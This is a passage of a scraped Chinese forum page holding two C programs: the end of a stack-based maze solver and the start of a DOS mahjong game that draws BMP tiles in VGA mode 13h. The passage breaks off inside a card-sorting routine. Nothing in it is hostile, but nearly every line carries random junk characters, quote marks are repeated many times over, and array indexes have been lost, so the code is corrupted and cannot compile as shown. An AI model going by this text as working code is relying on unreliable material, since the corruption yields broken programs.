' l% E: k9 C2 ]2 \7 M( y$ i% ?& dreturn TRUE;; n7 w: j! t* `2 [8 B% n
else return FALSE;* n& ?8 C1 E( ?7 Y
} /* Pass */
% w5 k7 i3 G: W9 G* cvoid MarkPrint(PosType seat)
: a4 z6 I. h$ v1 u5 g# u/* Mark the position seat. */
1 H% H' W; d' h$ _{6 `6 |5 _9 M* L- c* m$ i' E: y
maze[seat.x][seat.y].mark=-1;
) t0 |8 P) Q2 e2 ]1 x/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */+ s' d9 Y4 y, G" p, C6 V- l
} /* MarkPrint */$ t$ B0 `+ t$ s/ e9 N
void FootPrint(PosType curpos)4 \- w1 Q: W9 B' e! R2 Y) O5 u
/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */7 C0 G  N) m- `  F7 D5 r1 D4 A
{
! i& ^- _! q. M5 J$ n8 G# ~8 ?% X/ gmaze[curpos.x][curpos.y].foot=1;. J- n6 [; Z$ F5 R
} /* FootPrint */6 Q5 k0 J# n. M4 \4 d
PosType NextPos(PosType seat,int di)
' t  }7 g* |( d- `& d: O' d1 Y{8 q& R, }: d4 e, A+ ]- T
switch(di)
+ H6 |1 @7 K& G8 u8 n& A9 |{
! u, m0 ^- w6 Q  ~9 Fcase 1: seat.y++; return seat; /* Eastward */5 w# ]: i/ S' T; v# ^
case 2: seat.x++; return seat; /* Southward */7 j& O9 q% F; t  K$ H9 q4 c4 B6 w
case 3: seat.y--; return seat; /* Westward */
- I, N2 S' j/ t" m# vcase 4: seat.x--; return seat; /* Northward */
7 f9 l2 T! D7 r3 }; u$ d. ^1 O. Odefault: seat.x=0; seat.y=0; return seat;
$ T& ?; g: _& @7 `8 [}
- m. n" s8 o6 w! g: b} /* NextPos */+ A3 _4 Z$ O! Q4 |- `
* h) |: @; f- f3 C: E
/* The key to the program. */4 d  A; S' G- _* b$ _- l' o
/* Pre: The maze array &amp; the startplace &amp; the endplace.
. }2 F( B2 d7 c' c6 ]Post: Find the one traverse of the maze and perform the mazepath.
8 ]' t" @, [' n! _Uses: The ADT stack class.0 a8 @+ K* [: ?, A0 V# A+ u
*/* P$ {( o; I4 o- a' @
Status MazePath(PosType start,PosType end)
/ |, n$ k1 c& W1 W* E{7 y( _& y' U' D& o9 P
PosType curpos;
" K. Q7 b2 c8 y' X  m# bint curstep;
2 [: _1 A( ]3 NSElemType e;- h$ c9 P$ j1 t. u; i; v! n
Stack *s,stack;
3 x" r& `; t$ Q- F9 d! \stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
  S2 D* ~$ [- w7 w8 g1 l( M$ wif(!stack.base) Error("Overflow");1 U0 ]- `1 d% V7 u4 H
stack.top=stack.base;. y; c- x+ a" O1 i8 _6 a
stack.stacksize=STACK_INIT_SIZE;; y+ q# b' b/ K6 {: t8 q
s=&amp;stack;. n  c2 c% k. O6 _+ ~1 ~
curpos=start;
8 ]1 l. S' S, O* Tcurstep=1;% m* m7 }- X8 A5 k1 }
do$ G9 ]: B4 N# |# E9 g- t- L4 X
{
5 m) }1 ]- R! `6 qif(Pass(curpos))
$ r" R- P" \5 L" ?4 M{
: O3 V" v) o5 \: l4 E3 _) zFootPrint(curpos);
8 X$ R, d7 ~/ A8 C4 Ce.ord=curstep; e.seat=curpos; e.di=1;
* I( Q( _+ T6 I. y2 u: Xgotoxy((curpos.y+1)*2,curpos.x+2);
* M( B  A( a: |putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');+ ?' H' p' p/ r8 m3 O4 D
delay(8000); /* pospone time. */
, u/ Q( r5 }8 r) k6 YPush(s,e);
) _- I4 e% _  l' v9 M6 ]$ q( Tif(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
% n* j4 B5 p# V{
$ H$ G! m4 p8 g- P) PDestroyStack(s);
5 N9 {" \; P; K" @3 jreturn TRUE;0 Y1 U& C- N& [) o0 j' B
}
5 X, l& s  D0 E8 B  x4 Tcurpos=NextPos(curpos,1); /* Try next position. */( s" W/ u7 |8 `8 @
curstep++;
7 R# F& ?6 w- V" P* {- O}
8 w; u" Y6 v6 r& ^$ x9 _; Kelse" q8 y7 E/ n1 M5 t6 m
{
4 v1 e" h( F6 F7 Lif(!StackEmpty(s))
' u( z' J% {# z. O' v: k{
. E* A; `1 o5 c7 q1 i2 h9 c( Y; `& l6 te=Pop(s,e); /* Removed e from s. */2 |, b% f. z1 p4 M/ i( ?6 G# B
while(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked7 z2 a& I: I& C! z; q) X1 k
and s is not empty. */0 ~4 m, x- e* ?7 j! S
{. l5 [- s4 Y& G* A  c
MarkPrint(e.seat);
* k+ Y# c: X! p5 D0 M4 Bgotoxy((e.seat.y+1)*2,e.seat.x+2);
2 r3 L6 e8 C3 m, H2 Iputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
) Z0 [" L8 K# h: R6 h) N4 Udelay(8000); /* Pospone time. */
: R( \8 l# f  ?# Agotoxy((e.seat.y+1)*2,e.seat.x+2);+ ~: L7 d/ i, U9 n1 |
putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');" J- g8 W  ?9 v- V
e=Pop(s,e); /* Remove e from s. */5 V& o% E* B. E* i
curstep--;' }8 V' b! y( ]  ]2 u6 o* i9 n$ S' Y
}/ }& e- Q. @5 H
if(e.di&lt;4) /* The current position hasnot been checked. */
6 k7 F0 s1 o, J' \. q{% i- p$ @1 M) s6 T! @4 h
e.di++;1 g, T1 c- e; J) z9 C
Push(s,e); /* Insert e into s. */( w. \& [* {3 H$ i2 q: r9 T. l
curpos=NextPos(e.seat,e.di); /* Try next position. */
) W" o1 O/ A4 n5 |$ {}
, o7 i- [! I7 {1 e$ P" j}
9 x# f+ ]$ P- Z# t6 T}
$ P+ F- R/ j) \$ {% z* \" ?}
' Y: Z5 u7 s1 {- c: vwhile(!StackEmpty(s));
6 {; C: |  d- XDestroyStack(s);
" S7 R8 u' r4 m7 @) Z6 rreturn FALSE;
+ U/ l! |" T0 Q; r1 ?  C: A} /* MazePath */1 D) R% C; G3 b" ]7 J3 A, S
void main()
3 D+ L' r1 u& a1 b2 @0 ]7 l{1 M% K0 ]  a- V" ?, D$ L- g) i
PosType start,end;
3 h/ E  o; C; z7 B# J7 B  `CreatMaze();
) S- d/ a, Q* |1 R* K; Wstart.x=StartPlace.y;
+ H' N, l: p* G& l' n, [  a+ L# nstart.y=StartPlace.x;
6 }. }; R( j7 t3 |7 t  ?5 q0 qend.x=EndPlace.y;6 o6 ?, D, X9 T; F
end.y=EndPlace.x;  R4 Z6 z/ h2 y- M/ g; J
if(MazePath(start,end))
% ?4 R0 f% N5 K/ G- Z{
! ~6 _8 T: W4 @gotoxy(2,22);
& U/ X  ]" H" x) q) j' Y! q* Pprintf("ath found\n");8 `9 ?! w$ x* N( x) Y
}
7 o. A1 N8 E0 l- ]: `3 }else
/ i" P) C2 L4 ^& b% `{
- ]& ^6 x" S1 \* [: R. ugotoxy(2,22);$ Q6 V  W/ l4 V# M- ]
printf("ath not found\n");
* N. `5 p$ E; C# A% m' Y/ x8 Q5 w}
8 h9 i! U; R0 P  qgetch();# m( P3 }: C2 b" o9 t. m. ]
clrscr();
1 N! V6 J$ o  {1 I. r} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传. ?; S6 y2 H& N: P
/*天宇软件( `6 |: B  \" k
作者:上海黑暗之龙: m! P8 f2 r" Q2 l0 R, m+ x& o
2002/10/30
4 A' p6 n* N8 j/ h麻将原代码*/
; H; K: W1 U; O#include "dos.h"0 [: ^3 `6 h$ t5 a2 c2 l, s  k' e, g
#include "stdio.h"
: r4 Z1 h, }. |' J#include "graphics.h"
4 O) @  s' `% ^# R( P#include "bios.h"
2 S) |. Z, z% H2 j1 H# g#include "conio.h": W+ ^# S2 \: X) G0 h- f8 l8 m
#include "stdlib.h"
) b! H: ~: M# w/ \; y0 h$ Yunsigned char far *video_buffer=(char far *)0xA0000000L;4 V- [) s1 A, m: [* b* v3 f
#define VGA256 0x13 /*图形模式13h*/
' h" v; P& A/ _$ P#define TEXT_MODE 0x03 /*普通文本模式*/
% H0 i# L1 P+ k" s8 Z#define SETVGA Set_Video_Mode(VGA256)
9 _4 U/ [4 l- H4 i! J#define OUTVGA Set_Video_Mode(TEXT_MODE)) }( z+ k% W3 f
#define BYTE unsigned char
: G  r: t2 z* @( c#define WORD unsigned int
# b& A/ T, ~6 d1 o$ ]. l; a! A#define DWORD unsigned int! _: Y" A$ j) I" w
#define ESC 283
" |# k  }1 l$ I#define LEFT 19200  N; m; v( a# ~
#define RIGHT 19712
+ b# u( Z! J) `1 B2 Z( A* s0 _6 Y#define H 9064; B$ S/ s7 H  m& ^/ a4 h2 Z
#define ENTER 71815 Z; u" ?; g. r0 G3 [: ~
unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
8 B- G* d* F1 u/ [4 x2 p/ ]' D1 cint key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
1 L2 Y% `! |5 xstruct chi
# \# D  M; ?& e/ k: Q  ~! N$ \. b6 C{
6 f' V  x+ i' h. j1 ]/ f$ kint lg;: g: @. `, T$ _" d) Z7 V, y& e
int lgg;% Y( ]! Z9 L* l5 T7 b6 u' u9 E$ E
}ch[13];7 H8 M- F' H5 Y$ B
struct mj* i0 i$ z1 {+ M( _# y( N3 a
{ char *name; /*名字*/
5 w* E2 ?7 J  k5 E$ N# u4 g8 b! Jint data1; /*是否已出,无用了*/6 n- z* N6 S1 i2 ]9 ?$ w
int data2; /*是否在手中,1为自己,2为对方*/+ t( C0 u. f3 O# {4 V* _* S9 v' O
int number; /*同一个花色的第几张,共4张*/: l+ n% g# B* [4 i- X6 R4 V7 A; W
}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,/ h. N% d+ z: i; w8 f- Q/ O! V, O
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,$ d' Y% b+ E  F
"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,3 K# j/ ?% A2 f; a% |* ^
"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
$ ^# I8 T0 e+ l! c9 v1 Q3 J' T: v"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,, K. o5 m# x2 U$ b; D: g
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,# L# B" h% v% D  x6 a9 {
"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
4 Z+ S: |: E) T"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,  T& F5 j4 g+ H" U3 k$ Z% I
"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,
) E, V" G  F' F$ Z$ n4 s"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,
" m6 p! M- v5 G+ u1 l' t0 D"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,0 s/ {! A( D% r: N; Y7 W
"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
  c0 L8 _2 L! l* }"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,% A' f, P( w+ b) ~2 U
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
- k& A6 ?; r% j4 h' W"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
/ G3 J# ^2 |0 F; S$ M$ c0 S; H2 ["19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,2 F* k" u2 ?* ?5 P
"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,7 x. Z! ?; |' s7 Q
"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
" ]( C' c; E+ @; H9 m"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
; g+ s: L; p6 r2 M7 @9 w( E) N6 K"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,7 i0 R5 I& W2 a+ q$ o) n0 U
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,' [/ x3 f3 t4 q' ?- M7 c  ^
"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,0 a. m' B; M( z3 U! V; q3 C
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,! |7 b. o' |. G+ g$ [
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,# \1 y$ a* \+ x6 x$ n
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,1 H# l1 l4 V/ s, P1 }) Q$ q
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
8 B3 A5 l+ n% p! r+ W7 `# i0 d"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
7 \* n5 ^% b" S- u* }"34.bmp"};
& }9 V9 j' v/ O" wstruct every
! [/ _/ U- M+ w, U; x{ int *k; /*名字*/
0 \+ ?) _7 W' iint oneorfour; /*同一张牌的第几张*/" b3 z  m& Z2 z1 A" |" s4 _. z! b- h
int number; /*第几张牌136*/
: _, W1 K  x, F4 Yint p;
- E. z2 F8 T7 `  wint g;
. g( v5 ?4 I& w+ |! ~int c;
' u; O1 G3 g2 cint d[2];( x4 z* \2 U* P. f! h7 F) s: F
};4 d: Q* n! Q) f7 M3 O& i
struct me/ W6 U+ n6 }) Y
{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/
1 e* q& o6 ?: w( w; M# P2 L* yint p; /*乓对方*/, u) e  |! c$ Q5 o  {7 N
int c; /*吃对方*/
  X' k7 H& @; {5 Xint g; /*杠*/+ I& ~1 g7 Y' ~8 D5 L8 }' @

; l0 R: k/ b' E% Xstruct every pp[14]; /*存放手上的牌*/0 Y- h! N5 D4 a' Y
}me;
4 S+ K; X4 C; ?3 Ustruct computer; b  b. W6 E' u9 \+ o# Q! Z8 _' x
{ int m;, a4 y2 j' l  a1 c  r( c' C
int p;
) O! k7 |5 E+ l0 d( U$ h; pint c;
' b0 w) k3 E- T0 D: y4 Iint g;9 ?. a" k  w1 u! O
struct every pp[14];
  }7 |. t! ~% w}computer,comp;
. \8 `; a6 w- i; M! N4 i( Z: x" U2 J* \7 B$ O; Z7 P! [
/* 设置调色板 */& D* `, \) p* C5 B% {+ \
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)9 w5 r  `1 ~: j5 Z! ]1 o
{2 m& ^9 z% c) a
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/
* Z7 D! P' a0 aoutportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/8 N. m" E- v+ i8 x
outportb(0x3c9,g);
' w3 k# n9 y' X: a7 l7 coutportb(0x3c9,b);% d' ^/ x7 n' u* F
}
' l+ @" V) K8 ?# M9 p/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
$ j% y1 X9 m/ O/* 设置显示模式的函数 */
' C( E, u/ e# wvoid Set_Video_Mode(int mode)- l' a, O8 t1 g% @: H' x
{. L# U0 p4 y1 y! Z( v2 Q
union REGS inregs,outregs; /*定义输入和返回寄存器*/$ F( L  e: r! f+ ~6 E0 p
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/
+ E7 ]+ D2 W6 ~" l. g2 ginregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/# k2 h) A) U- H0 K( l3 x  u
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
( f7 ^, v+ [9 Q: J' z5 `}
% }2 F' j. V; ivoid v_line(int y0,int y1,int x,unsigned int color)) o- T  \3 y. [* l4 I1 x' j
{ unsigned int address,n,temp;
  e1 w* s* M) ]% }+ c/ Q, p6 nif(y0&gt;y1)
' i+ S& c1 ?$ s9 I( B' l2 S{
7 `& e' G" q9 ptemp=y1;" J9 {% q. p- ?% A$ j
y1=y0;+ Z3 m: d/ S6 k- f7 Q' Z: i
y0=temp;
/ S8 M9 N2 r5 O, q+ T}7 K/ V2 j6 K  n
address=320*y0+x;
; N: P! P* F0 g( T) [for(n=0;n&lt;=y1-y0;n++)
" R% ], Y3 l3 y; i# q8 f* K{- t3 Z- l, F% t
video_buffer[address]=color;" o6 y; }2 e! Z
address+=320;* T$ p# E: L9 S3 f
}
3 t0 x  j" ]& q( C4 v0 p}% G( k% H! U  O6 m* |# O, {) }# `
void h_line(int x0,int x1,int y,unsigned int color)2 f7 q0 B2 q$ J+ l
{ unsigned int address,n,temp;; [+ `. q  t5 X2 T8 [7 k# I
if(x0&gt;x1)) ^; c. c3 W% i& @6 h3 c5 U2 _9 W
{
* t: G$ c' j' u4 G& [" k  ftemp=x1;
' d, B: q" Q( s# r6 B+ U5 \. Ix1=x0;
. y9 F! P7 k4 \  \9 |9 D: Y5 ?% V, Ix0=temp;" F% p7 E  k7 ^% k  c
}" ^+ e( d, L! {' E1 K& t
address=320*y+x0;: k7 X- R- S' u$ @. c9 Z% {
for(n=0;n&lt;=x1-x0;n++)) F- i% e9 ~; t' a% J* p4 q$ N
{
  a3 v: k( l) E. Svideo_buffer[address]=color;: _5 r: L4 z: Z/ J# F& q
address+=1;; y1 a) B6 j( y3 H, c, {0 L
}
4 C2 o; T$ ^2 P  h$ r}
$ K2 n# g, k$ A7 w2 `  Uvoid p_pixel(int x,int y,unsigned int color)
- a& p2 U/ q; R* }{ video_buffer[y*320+x]=color;
  G6 ^4 ?- k3 E) t0 H$ U* R( P}
( b" ?$ C( |9 g8 M! I6 g/ Pvoid s_square(int x,int y,int side,int color)& L/ B* j5 p( w8 x5 W
{) l2 C5 P  ^& `: p0 s4 D. }' M6 G
h_line(x,x+side,y,color);
* X$ W2 N! O3 C3 E3 ~7 H( dh_line(x,x+side,y+side,color);% M* W7 v( K6 \0 G+ s4 w
v_line(y,y+side,x,color);
. Z/ I  [* D& k4 Kv_line(y,y+side,x+side,color);
7 p- B7 A, P9 M6 q* E}
1 Z+ C# M# V  v0 Uvoid r_rectangle(int x1,int y1,int x2,int y2,int color)
5 d+ C& t# H+ U# u1 j& D. }" C" W/ f{+ E0 `; o1 J" F: H5 k0 M
h_line(x1,x2,y1,color);: |/ a2 K: ?/ L) P; B' L! @
h_line(x1,x2,y2,color);& W1 I# Q6 h* Z8 p6 y) [
v_line(y1,y2,x1,color);
0 r4 J" @) Q! ?v_line(y1,y2,x2,color);
7 w' ~3 K) t8 i5 P, u. R# F3 i}3 y/ B* P' w$ q5 X, J
void fillRectangle(int x1,int y1,int x2,int y2,int color)5 X' s& l( n' E& r
{
& n# `+ P+ k  t. [6 T0 x2 @int i;
" n  H. I3 c& p$ tfor(i=y1;i&lt;=y2;i++)* w: j5 Y- c6 {3 [& i1 ]0 F
{9 X: ^4 ^0 R( V8 O: S
h_line(x1,x2,i,color);+ F( X9 Q9 W1 t3 S7 E
}. L* l6 I  T5 y7 v. M- a
}8 a& b' ?7 P$ O9 k3 S/ e
void showbmp(int l). j1 E& k/ |" ~
{ FILE *bmp;. s  K* S- t0 \: k
int i,x,y;
2 ^& E; O+ N- f- iBYTE palette[256][3];& \9 c7 y4 ?8 E& w# F: N
bmp=fopen(me.pp[l].k,"rb");
9 c4 r2 A  ]3 b+ R0 _7 C8 kfseek(bmp,54,SEEK_SET);0 L# `5 i. [! t& q( E
for(i=0;i&lt;256;i++)
# g  w( t7 o6 C{1 t7 o5 M) a& B) W9 E* Y8 |
palette[2]=fgetc(bmp)&gt;&gt;2;* z$ z# I1 G# y* u
palette[1]=fgetc(bmp)&gt;&gt;2;# H: y- @* d( }  w
palette[0]=fgetc(bmp)&gt;&gt;2;) C. ]  V3 M2 ^2 p+ X+ H5 R5 q
fgetc(bmp);
, ~" |: I7 N/ g+ [Set_Palette(i,palette[0],palette[1],palette[2]);/ N: A) Y1 S, ?$ i
}
& [- X: M  ?+ U9 Z1 [) Xfor (y=0;y&lt;30;y++)3 m$ z8 d# j1 [' p. z% u" h
for(x=0;x&lt;20;x++)
7 q" r! N" p& Y0 @, Apokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
0 ]! o( ^# |% _( k' Jfclose(bmp);
6 z& s7 D1 P) @, G}
8 l( n. _, z# \! d1 R, }void showbmpd(int l)7 g- ~+ K4 n' v
{ FILE *bmp;
7 S& B7 M( q5 Lint i,x,y;
( `1 J8 {7 E: F/ \0 b/ V7 LBYTE palette[256][3];7 ]  R; @! B& t# s+ A
bmp=fopen(me.pp[l].k,"rb");. u' n6 J' u9 l8 D6 u
fseek(bmp,54,SEEK_SET);
5 @8 _& J0 |6 d2 D* Y/ n! Wfor(i=0;i&lt;256;i++)2 S& K: _" R+ [0 V/ X7 q3 l/ b( p
{* y1 ~7 T/ ?' z4 e5 u
palette[2]=fgetc(bmp)&gt;&gt;2;6 U8 `7 |2 Z; l4 ]% v/ B# K5 p* @
palette[1]=fgetc(bmp)&gt;&gt;2;
; D# f+ v7 ]! ~( c& v2 ]& K2 ]palette[0]=fgetc(bmp)&gt;&gt;2;
7 O1 |8 L+ a- W" u; Bfgetc(bmp);+ ^4 w9 K6 u2 N9 g' g4 t% M
Set_Palette(i,palette[0],palette[1],palette[2]);7 W( }" b1 O, k3 P/ ]
}) v, E& E( Y3 A0 P8 X/ X
for (y=0;y&lt;30;y++)2 L0 Q3 L8 }/ f: O; K5 k. g+ U
for(x=0;x&lt;20;x++)6 B! p' e/ i& q) y1 ~' R$ o
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
) h4 S  M2 t; }$ m2 Ofclose(bmp);1 A* p4 y8 a. A) Y$ l3 y6 s
}
; T0 W7 r  ~( Q3 |5 q  Evoid showybmp(int ll)
9 j5 Q+ D1 M0 d8 R{ FILE *bmp;% N2 B& R7 }2 s  C5 A9 k
int i,x,y;
9 ?# O: K4 s: m9 o$ @BYTE palette[256][3];
4 f2 Y; W9 A/ Ybmp=fopen(computer.pp[ll].k,"rb");
( J7 `+ |8 T  O$ C1 h- x' vfseek(bmp,54,SEEK_SET);. i" n- S1 e2 E  \9 N% z3 }* A  e
for(i=0;i&lt;256;i++)3 E8 o) B) \' ^
{% e2 v+ F! @4 h, p, \
palette[2]=fgetc(bmp)&gt;&gt;2;
# _% P/ L- u- l, opalette[1]=fgetc(bmp)&gt;&gt;2;7 l4 K/ W. Y4 W+ y7 `* k* y# {
palette[0]=fgetc(bmp)&gt;&gt;2;* r8 ]% Q/ N6 Q, X9 h
fgetc(bmp);
0 M8 z- ~/ b# l8 `$ U9 W# LSet_Palette(i,palette[0],palette[1],palette[2]);
0 T4 v3 @) d+ w2 Q}
: P  Y: p0 i, a' t! Gfor (y=0;y&lt;30;y++)
" C- B) x! a. hfor(x=0;x&lt;20;x++)! v8 M2 X3 \  W
pokeb(0xa000,y*320+x+zy,fgetc(bmp));
: p0 g9 F- D4 \+ s- Q  Z' e* Y2 kfclose(bmp);, {3 T! k5 p2 T* [
}
+ }; U; d! E- _+ `void showcbmp(int ll)& h( ?# D8 S% e& R* B8 i; g; i
{ FILE *bmp;
8 u5 S! G' q  c( |& eint i,x,y;
# n0 [0 F0 I) m# ABYTE palette[256][3];& o* S7 m' d' V- ~, [" G/ R! u3 m: z
bmp=fopen(computer.pp[ll].k,"rb");
" [9 H. Q( u$ M$ Gfseek(bmp,54,SEEK_SET);
6 P4 A$ |1 {- y  ]: Q) s% ]6 z- Rfor(i=0;i&lt;256;i++)
+ {. x9 w5 x5 h7 Y$ ?{
* z) {) j8 X6 T" Epalette[2]=fgetc(bmp)&gt;&gt;2;
( b, S! m2 o" \8 O- v- M) \. {/ fpalette[1]=fgetc(bmp)&gt;&gt;2;
, r7 I% f  E+ X& {# j7 Upalette[0]=fgetc(bmp)&gt;&gt;2;. d* H, r0 B5 L+ S2 L6 T" t4 ^7 d
fgetc(bmp);: E% I; j$ O; T) V/ \( `
Set_Palette(i,palette[0],palette[1],palette[2]);
( [, J9 {1 S- i}
8 p' \5 G5 `& N% x! d, R1 [for (y=0;y&lt;30;y++)
4 A& q% I* A: \# |0 Rfor(x=0;x&lt;20;x++)* ^1 n# q! l, U! V$ M
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));8 e1 M1 {4 t9 p3 S
fclose(bmp);
  _9 }" }* a& S" X}# S+ l( d+ h+ `) w7 U5 |
void bmpp(int number): d3 }5 v8 K0 c4 a$ @2 v7 Q" r
{ FILE *bmp;
+ `# S1 `) p  t% k! Yint i,x,y;* V7 s- R9 @5 O( `, o9 m5 ^4 k
BYTE palette[256][3];- \) `3 a* T+ b+ Z2 b+ n
bmp=fopen(m[number].name,"rb");# D0 M  O$ ]) w( Y, t
fseek(bmp,54,SEEK_SET);
9 K$ i  B0 w$ `4 K: Yfor(i=0;i&lt;256;i++)7 X% l, c; A& x8 K" y/ x" r
{) t6 N# J, W' d
palette[2]=fgetc(bmp)&gt;&gt;2;1 m7 p+ f9 t2 e
palette[1]=fgetc(bmp)&gt;&gt;2;
! B- w5 o4 c* f/ K  d4 ]palette[0]=fgetc(bmp)&gt;&gt;2;
6 f' }: o# D: Q$ p4 [4 L, Dfgetc(bmp);# h1 g8 m4 L2 m6 `
Set_Palette(i,palette[0],palette[1],palette[2]);
! F* w. |/ h2 J% n4 R* {}
4 A8 b5 m. ^% M, Q2 Y# `( M) p) \for (y=0;y&lt;30;y++)6 j5 W8 m5 G5 b  t$ W# ?
for(x=0;x&lt;20;x++)% q1 Z' P& L3 p: q) W, B
pokeb(0xa000,y*320+x+zl,fgetc(bmp));
) R5 ?* F# I) I4 ~# nfclose(bmp);
( E# M4 R. a7 u1 D, [}
& E  ~1 P7 }7 G; M7 A  \  ~void comlipai() /*整理电脑的牌*/5 z7 O' E& I- L8 r8 J
{ int n,j,u;. B0 ~8 j, a" Q# n) z8 D9 I( R8 d1 R( `
int *lingshi;
/ }# g6 S; }% Y& gfor(n=0;n&lt;computer.m;n++)
* q- e! w# J- g" K9 [7 Jfor(j=n;j&lt;computer.m;j++)) x4 N1 ?- x* M8 I5 ?- m
{$ E7 v! r9 {6 S& P6 V
if(computer.pp[n].number&gt;computer.pp[j+1].number)2 F6 v2 ?9 v+ i" k) q. |0 S
{* a( f' A! o! l. @
lingshi=computer.pp[n].k;; X2 L8 X$ O/ v
computer.pp[n].k=computer.pp[j+1].k;
- {) ]! k3 h$ |# fcomputer.pp[j+1].k=lingshi;
+ `# t3 e6 y% D" O6 d( ]( b; m/ k- Iu=computer.pp[n].oneorfour;
1 T. `* e& \" ^& e& e' U& icomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;9 b  b' {; N1 N, A9 X% A
computer.pp[j+1].oneorfour=u;) ?- p) @3 g+ r2 o
u=computer.pp[n].number;
9 j8 J. c2 N" [2 x3 H, A$ B& fcomputer.pp[n].number=computer.pp[j+1].number;) \4 S' B) s* u
computer.pp[j+1].number=u;8 O- u7 y3 d" n9 g) {: s6 f
}
. o9 n- E* A" X5 Gelse
2 h6 y9 r- ^' I3 \if(computer.pp[n].number==computer.pp[j+1].number)
1 M0 e0 m/ ?/ s# E( Eif(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)
) e2 s2 O8 W6 A1 Q0 h; j7 ~{) L& X1 v* Z4 x' d/ D% s$ C
lingshi=computer.pp[n].k;/ {% r* q' a8 d. u3 M
computer.pp[n].k=computer.pp[j+1].k;4 a2 y# [9 i; z6 y9 _( X6 s
computer.pp[j+1].k=lingshi;& F* E( [" _3 C7 {% g' m' i, J6 w
u=computer.pp[n].oneorfour;4 T7 w$ w1 u" }5 a* A
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;* o9 a; z. B7 C% E$ r. z- y
computer.pp[j+1].oneorfour=u;
